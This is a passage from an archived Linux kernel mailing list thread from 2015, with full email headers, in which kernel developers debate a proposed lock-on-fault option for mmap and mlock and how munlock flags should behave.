VM_FAULTPOPULATE would have to be sticky to prevent from other
speculative poppulation of the mapping. I mean, is it OK to have a new
mlock semantic (on fault) which might still populate&lock memory which
hasn't been faulted directly? Who knows what kind of speculative things
we will do in the future and then find out that the semantic of
lock-on-fault is not usable anymore.

[...]

-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 0/3] Allow user to request memory to be locked
 on page fault
Date: Thu, 25 Jun 2015 10:16:38 -0400
Lines: 109
Approved: news@gmane.org
Message-ID: <20150625141638.GF2329@akamai.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org>
 <5579DFBA.80809@akamai.com>
 <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org>
 <557ACAFC.90608@suse.cz>
 <20150615144356.GB12300@akamai.com>
 <55895956.5020707@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="gneEPciiIl/aKvOT"
X-Trace: ger.gmane.org 1435241822 28067 80.91.229.3 (25 Jun 2015 14:17:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Jun 2015 14:17:02 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Vlastimil Babka <vbabka@suse.cz>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Jun 25 16:16:47 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1Z87xK-00029T-Hf
	for lnx-linux-alpha@plane.gmane.org; Thu, 25 Jun 2015 16:16:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751345AbbFYOQl (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 25 Jun 2015 10:16:41 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:59137 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751378AbbFYOQk (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Thu, 25 Jun 2015 10:16:40 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id D6BC628A46;
	Thu, 25 Jun 2015 14:16:38 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 8C9FD28A44;
	Thu, 25 Jun 2015 14:16:38 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1435241798; bh=uh+DFC/D+f8dwK+813A0x9evea4+AuNXScf1Pmj6w/M=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=EarYbErORJ6fi0ORE+4a6RY4/QJWvkaBzdIvY5Ec/iO31jYzPxYTVqRFcSaWVbtFV
	 BfqU71R8lLj1jJzrf/CnRQ+JGQyaZhiuEIIpHeMsI6YblIpVP1hA948QxP/8+bEvkp
	 D770e/tOOWZMt45o3xCjUJq6vt2ihS4YNAGsJn1Q=
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 87E0180087;
	Thu, 25 Jun 2015 14:16:38 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <55895956.5020707@suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3156 gmane.linux.kernel:1983798 gmane.linux.ports.mips.general:49180 gmane.linux.ports.parisc:25797 gmane.linux.ports.ppc64.devel:114632 gmane.linux.ports.sparc:21175 gmane.linux.kernel.mm:134782 gmane.linux.kernel.cross-arch:28174 gmane.linux.kernel.api:12394
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3156>


--gneEPciiIl/aKvOT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 23 Jun 2015, Vlastimil Babka wrote:

> On 06/15/2015 04:43 PM, Eric B Munson wrote:
> >>Note that the semantic of MAP_LOCKED can be subtly surprising:
> >>
> >>"mlock(2) fails if the memory range cannot get populated to guarantee
> >>that no future major faults will happen on the range.
> >>mmap(MAP_LOCKED) on the other hand silently succeeds even if the
> >>range was populated only
> >>partially."
> >>
> >>( from http://marc.info/?l=3Dlinux-mm&m=3D143152790412727&w=3D2 )
> >>
> >>So MAP_LOCKED can silently behave like MAP_LOCKONFAULT. While
> >>MAP_LOCKONFAULT doesn't suffer from such problem, I wonder if that's
> >>sufficient reason not to extend mmap by new mlock() flags that can
> >>be instead applied to the VMA after mmapping, using the proposed
> >>mlock2() with flags. So I think instead we could deprecate
> >>MAP_LOCKED more prominently. I doubt the overhead of calling the
> >>extra syscall matters here?
> >
> >We could talk about retiring the MAP_LOCKED flag but I suspect that
> >would get significantly more pushback than adding a new mmap flag.
>=20
> Oh no we can't "retire" as in remove the flag, ever. Just not
> continue the way of mmap() flags related to mlock().
>=20
> >Likely that the overhead does not matter in most cases, but presumably
> >there are cases where it does (as we have a MAP_LOCKED flag today).
> >Even with the proposed new system calls I think we should have the
> >MAP_LOCKONFAULT for parity with MAP_LOCKED.
>=20
> I'm not convinced, but it's not a major issue.
>=20
> >>
> >>>- mlock() takes a `flags' argument.  Presently that's
> >>>   MLOCK_LOCKED|MLOCK_LOCKONFAULT.
> >>>
> >>>- munlock() takes a `flags' arument.  MLOCK_LOCKED|MLOCK_LOCKONFAULT
> >>>   to specify which flags are being cleared.
> >>>
> >>>- mlockall() and munlockall() ditto.
> >>>
> >>>
> >>>IOW, LOCKED and LOCKEDONFAULT are treated identically and independentl=
y.
> >>>
> >>>Now, that's how we would have designed all this on day one.  And I
> >>>think we can do this now, by adding new mlock2() and munlock2()
> >>>syscalls.  And we may as well deprecate the old mlock() and munlock(),
> >>>not that this matters much.
> >>>
> >>>*should* we do this?  I'm thinking "yes" - it's all pretty simple
> >>>boilerplate and wrappers and such, and it gets the interface correct,
> >>>and extensible.
> >>
> >>If the new LOCKONFAULT functionality is indeed desired (I haven't
> >>still decided myself) then I agree that would be the cleanest way.
> >
> >Do you disagree with the use cases I have listed or do you think there
> >is a better way of addressing those cases?
>=20
> I'm somewhat sceptical about the security one. Are security
> sensitive buffers that large to matter? The performance one is more
> convincing and I don't see a better way, so OK.

They can be, the two that come to mind are medical images and high
resolution sensor data.

>=20
> >
> >>
> >>>What do others think?
>=20

--gneEPciiIl/aKvOT
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVjA1GAAoJELbVsDOpoOa9UuYP/0uK/Rd97QRrj7JihySL0bIp
xR5VEgBq3dvL9zso97dWMfg427XMFyEk6ZmPzMCic6uaNOXj2wj95fMH8/JZLlGP
VDwj+tVXUrS4cSYMlf2KoJnZE3lAU4Qjhef/B50FOd+QfnP3m7j78SeBQLefUyBF
dh6NnpZyzqChIQsDS3j9Qy9BlUH4JRuKW5AGLbEIPrl7DdN1YqZ3h5czy3ouEN6N
8xi145ThIaNAlEmdpNmTcEwAFQpTnX9F8B3Zi9+oPsgNvd6yb6v5ZWlxd+pdxGwn
GzNpU6iPrWjgm62NaRlZieLP39fL+UwIZ4wijKQjCV8uHYLaCF+edchj2tX5tV1+
K1C7Vt4SJrz/xdgfT2uXiGK7/fu2ti6jO5Vl1fdGSPmskpqlpRsUsQs9igjW0uH8
neYV9mS1H7XhbMAfXsEiMjKNyY2X5o3+085dtwnhUG28v/PJob7AnP20DuAAzsQF
h9sKslrlgctv2pS0ATCEj/ZrO7OheNq72YEcUhIfCgwF/5bG4PNuNmlzmpYdMmE2
skMlXEkc6x+nc0K5D61tjTfRcIX9nILAVyWb/FdU//OLSEEPlexCyOOPnsyFPyLA
RLHPLoIE4qnFMemYtw3QiXr1XwJZ260HIQRl/x7Qx4ppceRkXmmhbNrlMud2Ru0z
TgY/kWkb2P90kkXjd2qQ
=ayiS
-----END PGP SIGNATURE-----

--gneEPciiIl/aKvOT--
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@amacapital.net>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 0/3] Allow user to request memory to be locked
 on page fault
Date: Thu, 25 Jun 2015 07:26:14 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <CALCETrW5LWgcuezfNDGYmivydsM2U36MLS6n1ardmLgsSrAdmQ@mail.gmail.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org>
 <5579DFBA.80809@akamai.com> <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org>
 <557ACAFC.90608@suse.cz> <20150615144356.GB12300@akamai.com>
 <55895956.5020707@suse.cz> <20150625141638.GF2329@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1435242409 5949 80.91.229.3 (25 Jun 2015 14:26:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Jun 2015 14:26:49 +0000 (UTC)
Cc: Vlastimil Babka <vbabka@suse.cz>, Andrew Morton <akpm@linux-foundation.org>, 
	Shuah Khan <shuahkh@osg.samsung.com>, Michal Hocko <mhocko@suse.cz>, 
	Michael Kerrisk <mtk.manpages@gmail.com>, linux-alpha@vger.kernel.org, 
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>, 
	Linux MIPS Mailing List <linux-mips@linux-mips.org>, linux-parisc@vger.kernel.org, 
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org, 
	linux-xtensa@linux-xtensa.org, "linux-mm@kvack.org" <linux-mm@kvack.org>, 
	linux-arch <linux-arch@vger.kernel.org>, Linux API <linux-api@vger.kernel.org>
To: Eric B Munson <emunson@akamai.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jun 25 16:26:38 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Z886w-00025m-As
	for glkm-linux-mm-2@m.gmane.org; Thu, 25 Jun 2015 16:26:38 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id EEE516B0038; Thu, 25 Jun 2015 10:26:36 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E9FEA6B006C; Thu, 25 Jun 2015 10:26:36 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id DDD4E6B006E; Thu, 25 Jun 2015 10:26:36 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-lb0-f172.google.com (mail-lb0-f172.google.com [209.85.217.172])
	by kanga.kvack.org (Postfix) with ESMTP id 8E6806B0038
	for <linux-mm@kvack.org>; Thu, 25 Jun 2015 10:26:36 -0400 (EDT)
Original-Received: by lbbpo10 with SMTP id po10so46645501lbb.3
        for <linux-mm@kvack.org>; Thu, 25 Jun 2015 07:26:35 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:mime-version
         :in-reply-to:references:from:date:message-id:subject:to:cc
         :content-type;
        bh=t8pxKeBDWvaGmjVOwRN9wUlxdTdegSINilY/vPDU+dY=;
        b=mtAHdXRK6u4cC8o1zMUKOLyzpjoOius8fTuwLJsoCqoLU/ugj4+vrWdJhT9DL9AGoJ
         30lGq4bRBsa8PA4TeH+0RIvM4er4MBaj5oSpoKvDo5QE8onAuNCEhdtxE6J41BD1aMir
         XDOs2V20OACBAtcf1W8nvEiAzZUgjsXp4FAIySE/tCOwaMjpkR5QoY9NxirKNvzNa9sk
         xz0IuEt5sHHTFZ7kCMfXZBWC7zGGe90G2WtVeNdvohpRqKsZ4wBy4uGAc1MpuCBLp1L3
         97GumbOTCVr1c/1xRRX2CP+IFvblyuGd61zj5jaT2kjUIws3bPTl0Yi0aGqaR/rj1UTc
         4VFw==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of luto@amacapital.net designates 209.85.217.175 as permitted sender) smtp.mail=luto@amacapital.net
X-Gm-Message-State: ALoCoQn+e9elrRRfVv3WchUAHei17ZJ6xwsxh7vBPVvbWgQj+NZJmQKFuXyGbJ+8JaNBkKUXFPU4k9Njjl++lvbD8kn/aI3njwdouXSR69Dim1mEOraOZYvCn37JnuaJH+nVBG3rTcRbfgNc97OTpOJTtLkZQXhkDTwI8uIuV5farEjQFSba8hlAs+qMGJrhcp9vrgcxDlgGiP+4LhMsjWFfoWB7RbXVye6QRHVR1+QJUhPI2pe8j0GyZX1ciY9e9e7QFXNwxkQd/GMfinVKoftkxmTitR7QEF9sX7RJhurndnR43xVREG4=
X-Received: by 10.112.50.148 with SMTP id c20mr44564255lbo.27.1435242395916;
        Thu, 25 Jun 2015 07:26:35 -0700 (PDT)
X-Received: by 10.112.50.148 with SMTP id c20mr44564182lbo.27.1435242394922;
        Thu, 25 Jun 2015 07:26:34 -0700 (PDT)
Original-Received: from mail-lb0-f175.google.com (mail-lb0-f175.google.com. [209.85.217.175])
        by mx.google.com with ESMTPS id mk5si24822223lbc.47.2015.06.25.07.26.34
        for <linux-mm@kvack.org>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 25 Jun 2015 07:26:34 -0700 (PDT)
Received-SPF: pass (google.com: domain of luto@amacapital.net designates 209.85.217.175 as permitted sender) client-ip=209.85.217.175;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of luto@amacapital.net designates 209.85.217.175 as permitted sender) smtp.mail=luto@amacapital.net
Original-Received: by lbbvz5 with SMTP id vz5so46645435lbb.0
        for <linux-mm@kvack.org>; Thu, 25 Jun 2015 07:26:33 -0700 (PDT)
X-Received: by 10.112.125.65 with SMTP id mo1mr45975050lbb.0.1435242393829;
 Thu, 25 Jun 2015 07:26:33 -0700 (PDT)
Original-Received: by 10.152.170.233 with HTTP; Thu, 25 Jun 2015 07:26:14 -0700 (PDT)
In-Reply-To: <20150625141638.GF2329@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:134783 gmane.linux.ports.alpha:3157 gmane.linux.kernel:1983801 gmane.linux.ports.mips.general:49181 gmane.linux.ports.parisc:25798 gmane.linux.ports.ppc64.devel:114633 gmane.linux.ports.sparc:21176 gmane.linux.kernel.cross-arch:28175 gmane.linux.kernel.api:12395
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/134783>

On Thu, Jun 25, 2015 at 7:16 AM, Eric B Munson <emunson@akamai.com> wrote:
> On Tue, 23 Jun 2015, Vlastimil Babka wrote:
>
>> On 06/15/2015 04:43 PM, Eric B Munson wrote:
>> >>
>> >>If the new LOCKONFAULT functionality is indeed desired (I haven't
>> >>still decided myself) then I agree that would be the cleanest way.
>> >
>> >Do you disagree with the use cases I have listed or do you think there
>> >is a better way of addressing those cases?
>>
>> I'm somewhat sceptical about the security one. Are security
>> sensitive buffers that large to matter? The performance one is more
>> convincing and I don't see a better way, so OK.
>
> They can be, the two that come to mind are medical images and high
> resolution sensor data.

I think we've been handling sensitive memory pages wrong forever.  We
shouldn't lock them into memory; we should flag them as sensitive and
encrypt them if they're ever written out to disk.

--Andy

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked
 after page fault
Date: Thu, 25 Jun 2015 10:46:47 -0400
Lines: 153
Approved: news@gmane.org
Message-ID: <20150625144647.GG2329@akamai.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <1433942810-7852-2-git-send-email-emunson@akamai.com>
 <20150618152907.GG5858@dhcp22.suse.cz>
 <20150618203048.GB2329@akamai.com>
 <20150619145708.GG4913@dhcp22.suse.cz>
 <20150619164333.GD2329@akamai.com>
 <20150622123826.GF4430@dhcp22.suse.cz>
 <20150622141806.GE2329@akamai.com>
 <20150624085013.GB32756@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="APlYHCtpeOhspHkB"
X-Trace: ger.gmane.org 1435243622 27026 80.91.229.3 (25 Jun 2015 14:47:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Jun 2015 14:47:02 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Michal Hocko <mhocko@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 25 16:46:54 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z88QX-0001lm-JV
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Jun 2015 16:46:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752314AbbFYOqw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Jun 2015 10:46:52 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:44025 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752246AbbFYOqt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Jun 2015 10:46:49 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 365AD28A4F;
	Thu, 25 Jun 2015 14:46:48 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 0D30D28A35;
	Thu, 25 Jun 2015 14:46:48 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1435243608; bh=goxaldKPTv+lVE5Zj4wVfl/8fFyWBkTT/poegIbVYqw=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=hFm9S68OD++LDwRekM5KkKW7Moidk0/KYBEmz791KOQcEjFQK/Kxq9kl83wJU8EFj
	 3WXNrsO6rjjTq50bMv2b3Vfm2IGTBuDRrQKzc8EBKfFsBRkpchMu2RoHrbevwsOJ1F
	 LlkBnw6rFRitexVJjN+rwcdyBIc69Ckg5Daom0ns=
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 099AF80087;
	Thu, 25 Jun 2015 14:46:48 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150624085013.GB32756@dhcp22.suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25799 gmane.linux.ports.alpha:3158 gmane.linux.kernel:1983819 gmane.linux.ports.mips.general:49182 gmane.linux.ports.ppc64.devel:114634 gmane.linux.ports.sparc:21177 gmane.linux.kernel.mm:134785 gmane.linux.kernel.cross-arch:28176 gmane.linux.kernel.api:12396
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25799>


--APlYHCtpeOhspHkB
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 24 Jun 2015, Michal Hocko wrote:

> On Mon 22-06-15 10:18:06, Eric B Munson wrote:
> > On Mon, 22 Jun 2015, Michal Hocko wrote:
> >=20
> > > On Fri 19-06-15 12:43:33, Eric B Munson wrote:
> [...]
> > > > Are you objecting to the addition of the VMA flag VM_LOCKONFAULT, o=
r the
> > > > new MAP_LOCKONFAULT flag (or both)?=20
> > >=20
> > > I thought the MAP_FAULTPOPULATE (or any other better name) would
> > > directly translate into VM_FAULTPOPULATE and wouldn't be tight to the
> > > locked semantic. We already have VM_LOCKED for that. The direct effect
> > > of the flag would be to prevent from population other than the direct
> > > page fault - including any speculative actions like fault around or
> > > read-ahead.
> >=20
> > I like the ability to control other speculative population, but I am not
> > sure about overloading it with the VM_LOCKONFAULT case.  Here is my
> > concern.  If we are using VM_FAULTPOPULATE | VM_LOCKED to denote
> > LOCKONFAULT, how can we tell the difference between someone that wants
> > to avoid read-ahead and wants to use mlock()?
>=20
> Not sure I understand. Something like?
> addr =3D mmap(VM_FAULTPOPULATE) # To prevent speculative mappings into th=
e vma
> [...]
> mlock(addr, len) # Now I want the full mlock semantic

So this leaves us without the LOCKONFAULT semantics?  That is not at all
what I am looking for.  What I want is a way to express 3 possible
states of a VMA WRT locking, locked (populated and all pages on the
unevictable LRU), lock on fault (populated by page fault, pages that are
present are on the unevictable LRU, newly faulted pages are added to
same), and not locked.

>=20
> and the later to have the full mlock semantic and populate the given
> area regardless of VM_FAULTPOPULATE being set on the vma? This would
> be an interesting question because mlock man page clearly states the
> semantic and that is to _always_ populate or fail. So I originally
> thought that it would obey VM_FAULTPOPULATE but this needs a more
> thinking.
>=20
> > This might lead to some
> > interesting states with mlock() and munlock() that take flags.  For
> > instance, using VM_LOCKONFAULT mlock(MLOCK_ONFAULT) followed by
> > munlock(MLOCK_LOCKED) leaves the VMAs in the same state with
> > VM_LOCKONFAULT set.=20
>=20
> This is really confusing. Let me try to rephrase that. So you have
> mlock(addr, len, MLOCK_ONFAULT)
> munlock(addr, len, MLOCK_LOCKED)
>=20
> IIUC you would expect the vma still being MLOCK_ONFAULT, right? Isn't
> that behavior strange and unexpected? First of all, munlock has
> traditionally dropped the lock on the address range (e.g. what should
> happen if you did plain old munlock(addr, len)). But even without
> that. You are trying to unlock something that hasn't been locked the
> same way. So I would expect -EINVAL at least, if the two modes should be
> really represented by different flags.

I would expect it to remain MLOCK_LOCKONFAULT because the user requested
munlock(addr, len, MLOCK_LOCKED).  It is not currently an error to
unlock memory that is not locked.  We do this because we do not require
the user track what areas are locked.  It is acceptable to have a mostly
locked area with holes unlocked with a single call to munlock that spans
the entire area.  The same semantics should hold for munlock with flags.
If I have an area with MLOCK_LOCKED and MLOCK_ONFAULT interleaved, it
should be acceptable to clear the MLOCK_ONFAULT flag from those areas
with a single munlock call that spans the area.

On top of continuing with munlock semantics, the implementation would
need the ability to rollback an munlock call if it failed after altering
VMAs.  If we have the same interleaved area as before and we go to
return -EINVAL the first time we hit an area that was MLOCK_LOCKED, how
do we restore the state of the VMAs we have already processed, and
possibly merged/split?
>=20
> Or did you mean the both types of lock like:
> mlock(addr, len, MLOCK_ONFAULT) | mmap(MAP_LOCKONFAULT)
> mlock(addr, len, MLOCK_LOCKED)
> munlock(addr, len, MLOCK_LOCKED)
>=20
> and that should keep MLOCK_ONFAULT?
> This sounds even more weird to me because that means that the vma in
> question would be locked by two different mechanisms. MLOCK_LOCKED with
> the "always populate" semantic would rule out MLOCK_ONFAULT so what
> would be the meaning of the other flag then? Also what should regular
> munlock(addr, len) without flags unlock? Both?

This is indeed confusing and not what I was trying to illustrate, but
since you bring it up.  mlockall() currently clears all flags and then
sets the new flags with each subsequent call.  mlock2 would use that
same behavior, if LOCKED was specified for a ONFAULT region, that region
would become LOCKED and vice versa.

I have the new system call set ready, I am waiting to post for rc1 so I
can run the benchmarks again on a base more stable than the middle of a
merge window.  We should wait to hash out implementations until the code
is up rather than talk past eachother here.

>=20
> > If we use VM_FAULTPOPULATE, the same pair of calls
> > would clear VM_LOCKED, but leave VM_FAULTPOPULATE.  It may not matter in
> > the end, but I am concerned about the subtleties here.
>=20
> This sounds like the proper behavior to me. munlock should simply always
> drop VM_LOCKED and the VM_FAULTPOPULATE can live its separate life.
>=20
> Btw. could you be more specific about semantic of m{un}lock(addr, len, fl=
ags)
> you want to propose? The more I think about that the more I am unclear
> about it, especially munlock behavior and possible flags.
> --=20
> Michal Hocko
> SUSE Labs

--APlYHCtpeOhspHkB
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVjBRXAAoJELbVsDOpoOa9KZ0P/jLKjirBJ2okZdWKtpp6678q
uc0FyNGrZ+4/mRSy1NXL/QoHENiPkf/6/xNLD37kf19QXFrAPq9xIyudiHJNoYrI
VieISrU48NF2l5AX/23xmAHMuQsOEllnxD2Z8tbzYBWYwhVsyekXxFcfV9IjBIJW
o+tao1pK9hxtUKe6iZ2iYeIQ7WBPIyodKAkGlRU+e4eC5FTvJhzAWzE3SptRnBO1
j7u1bd5Y2GuLDSdSRFbwH1g3yfjW4NhGAGVxytlMiDAEASNxO1qtxQqkAIrMIlnO
VyMyfiWiZGlR9jlnO0jQxDgTNn+q9Hd2YAycKfq0ESAmo5lf0mqYCt22PvYbTbH6
hlAu3LOZs5Y7HCaCcuKYeIIyjcapAxpqkthY+BgbORKwyK7u2lK8B9NnGj4NZEZW
C3Wchy60VlT8Veru3qvzfyBZkMH+mlvZ6BKNKWgC3kgX4nnQ5DiEVYkEFoegzSJB
78wQ2dwvZXjG+ruK4SKNnN3FFxUFFoM8zMPTVwi+ox2LjN981xmFe/W7eG2kai9J
Ji7645+7JvHnszsfAO+dYeoDgVpVQBJ1lqc7F9W5iw8AA4NoNNEbg62K/YsoF1ox
uHM6I5sIzZE9AG5Rkxtw0j9cu9p9OyCWoXE1XHn7zHGsJPUSM9BWMvLKncr1PDeU
H0enY59wKDqXZvkTmSg1
=GTBQ
-----END PGP SIGNATURE-----

--APlYHCtpeOhspHkB--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
